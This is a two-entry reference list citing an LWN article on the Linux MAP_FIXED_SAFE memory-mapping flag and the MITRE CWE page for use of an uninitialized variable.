- Hocko, Michal. mm: introduce MAP_FIXED_SAFE. [ ] https://lwn.net/Articles/741335/ .
- Use of Uninitialized Variable. [ ] https://cwe.mitre.org/data/definitions/457.html .